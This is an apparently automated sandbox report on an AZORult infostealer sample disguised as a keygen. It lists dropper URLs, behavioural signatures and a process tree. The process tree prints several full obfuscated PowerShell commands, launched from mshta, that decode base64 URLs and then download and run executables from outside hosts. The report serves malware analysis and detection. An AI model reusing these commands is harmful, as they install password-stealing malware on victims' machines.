azorult | 3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
109s
max time network
176s
platform
windows7_x64
resource
win7v200722
submitted
02-10-2020 21:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (124) — копия.exe

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

11 1640 powershell.exe
12 1636 powershell.exe
15 1524 powershell.exe
18 1640 powershell.exe
19 1636 powershell.exe
21 1524 powershell.exe
Downloads MZ/PE file

flow	pid	process
11	1640	powershell.exe
12	1636	powershell.exe
15	1524	powershell.exe
18	1640	powershell.exe
19	1636	powershell.exe
21	1524	powershell.exe

Executes dropped EXE 15 IoCs

Processes:

Keygen.exezol.exeyzr.exesit.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeyzr.exesit.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeyzr.exeNHtrdsaghfDF.exe

pid	process
1576	Keygen.exe
2552	zol.exe
2624	yzr.exe
2680	sit.exe
2776	FVjhgtresfdbv.exe
2740	FVjhgtresfdbv.exe
2832	NHtrdsaghfDF.exe
2808	NHtrdsaghfDF.exe
2932	yzr.exe
2948	sit.exe
2964	FVjhgtresfdbv.exe
3012	NHtrdsaghfDF.exe
3060	FVjhgtresfdbv.exe
3028	yzr.exe
2112	NHtrdsaghfDF.exe

Loads dropped DLL 19 IoCs

Processes:

cmd.exepowershell.exepowershell.exepowershell.exeyzr.exesit.exepowershell.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
1688	cmd.exe
1640	powershell.exe
1636	powershell.exe
1636	powershell.exe
1524	powershell.exe
1524	powershell.exe
2624	yzr.exe
2624	yzr.exe
2680	sit.exe
2680	sit.exe
2680	sit.exe
2680	sit.exe
2624	yzr.exe
2624	yzr.exe
476	powershell.exe
2776	FVjhgtresfdbv.exe
2832	NHtrdsaghfDF.exe
2740	FVjhgtresfdbv.exe
2808	NHtrdsaghfDF.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

sit.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyzr.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 2680 set thread context of 2948	2680	sit.exe	sit.exe
PID 2776 set thread context of 2964	2776	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2832 set thread context of 3012	2832	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 2624 set thread context of 3028	2624	yzr.exe	yzr.exe
PID 2740 set thread context of 3060	2740	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 2808 set thread context of 2112	2808	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1992 timeout.exe
1164 timeout.exe

pid	process
1992	timeout.exe
1164	timeout.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exemshta.exemshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1524	powershell.exe
476	powershell.exe
1452	powershell.exe
1740	powershell.exe
1636	powershell.exe
1640	powershell.exe
1452	powershell.exe
476	powershell.exe
1524	powershell.exe
1640	powershell.exe
1740	powershell.exe
1636	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

sit.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyzr.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

2680 sit.exe
2776 FVjhgtresfdbv.exe
2832 NHtrdsaghfDF.exe
2624 yzr.exe
2740 FVjhgtresfdbv.exe
2808 NHtrdsaghfDF.exe

pid	process
2680	sit.exe
2776	FVjhgtresfdbv.exe
2832	NHtrdsaghfDF.exe
2624	yzr.exe
2740	FVjhgtresfdbv.exe
2808	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	476	powershell.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeDebugPrivilege	1452	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exeyzr.exesit.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid process

1576 Keygen.exe
2624 yzr.exe
2680 sit.exe
2776 FVjhgtresfdbv.exe
2740 FVjhgtresfdbv.exe
2832 NHtrdsaghfDF.exe
2808 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (124) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1244 wrote to memory of 1688	1244	Keygen — копия (124) — копия.exe	cmd.exe
PID 1244 wrote to memory of 1688	1244	Keygen — копия (124) — копия.exe	cmd.exe
PID 1244 wrote to memory of 1688	1244	Keygen — копия (124) — копия.exe	cmd.exe
PID 1244 wrote to memory of 1688	1244	Keygen — копия (124) — копия.exe	cmd.exe
PID 1688 wrote to memory of 1576	1688	cmd.exe	Keygen.exe
PID 1688 wrote to memory of 1576	1688	cmd.exe	Keygen.exe
PID 1688 wrote to memory of 1576	1688	cmd.exe	Keygen.exe
PID 1688 wrote to memory of 1576	1688	cmd.exe	Keygen.exe
PID 1688 wrote to memory of 2036	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2036	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2036	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2036	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1988	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1988	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1988	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1988	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1992	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1992	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1992	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1992	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 2040	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2040	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2040	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 2040	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 316	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 316	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 316	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 316	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1164	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1164	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1164	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1164	1688	cmd.exe	timeout.exe
PID 1688 wrote to memory of 1252	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1252	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1252	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1252	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1736	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1736	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1736	1688	cmd.exe	mshta.exe
PID 1688 wrote to memory of 1736	1688	cmd.exe	mshta.exe
PID 2040 wrote to memory of 1640	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 1640	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 1640	2040	mshta.exe	powershell.exe
PID 2040 wrote to memory of 1640	2040	mshta.exe	powershell.exe
PID 1252 wrote to memory of 1636	1252	mshta.exe	powershell.exe
PID 1252 wrote to memory of 1636	1252	mshta.exe	powershell.exe
PID 1252 wrote to memory of 1636	1252	mshta.exe	powershell.exe
PID 1252 wrote to memory of 1636	1252	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1452	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1452	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1452	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1452	1988	mshta.exe	powershell.exe
PID 1736 wrote to memory of 476	1736	mshta.exe	powershell.exe
PID 316 wrote to memory of 1740	316	mshta.exe	powershell.exe
PID 1736 wrote to memory of 476	1736	mshta.exe	powershell.exe
PID 1736 wrote to memory of 476	1736	mshta.exe	powershell.exe
PID 316 wrote to memory of 1740	316	mshta.exe	powershell.exe
PID 1736 wrote to memory of 476	1736	mshta.exe	powershell.exe
PID 316 wrote to memory of 1740	316	mshta.exe	powershell.exe
PID 316 wrote to memory of 1740	316	mshta.exe	powershell.exe
PID 2036 wrote to memory of 1524	2036	mshta.exe	powershell.exe
PID 2036 wrote to memory of 1524	2036	mshta.exe	powershell.exe
PID 2036 wrote to memory of 1524	2036	mshta.exe	powershell.exe
PID 2036 wrote to memory of 1524	2036	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (124) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (124) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1244

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\230B.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (124) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1688

C:\Users\Admin\AppData\Local\Temp\230B.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1576

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1524

C:\Users\Public\sit.exe
"C:\Users\Public\sit.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2680

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2776

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:2964

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2112

C:\Users\Public\sit.exe
"C:\Users\Public\sit.exe"
6⤵
- Executes dropped EXE
PID:2948

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\m1.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1992

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\b.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Users\Public\zol.exe
"C:\Users\Public\zol.exe"
5⤵
- Executes dropped EXE
PID:2552

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1164

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\ba.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1252

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1636

C:\Users\Public\yzr.exe
"C:\Users\Public\yzr.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2624

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2740

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:3060

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2832

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:3012

C:\Users\Public\yzr.exe
"C:\Users\Public\yzr.exe"
6⤵
- Executes dropped EXE
PID:3028

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\230B.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:476

C:\Users\Public\yzr.exe
"C:\Users\Public\yzr.exe"
5⤵
- Executes dropped EXE
PID:2932

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1a1733a9-c78a-41f9-ba49-7e78bc3e775b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f076515-f0bc-42a8-9ffc-3bf138ed4cbd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_638d71a9-5345-4c51-851c-72a6822e822b

Download Submit
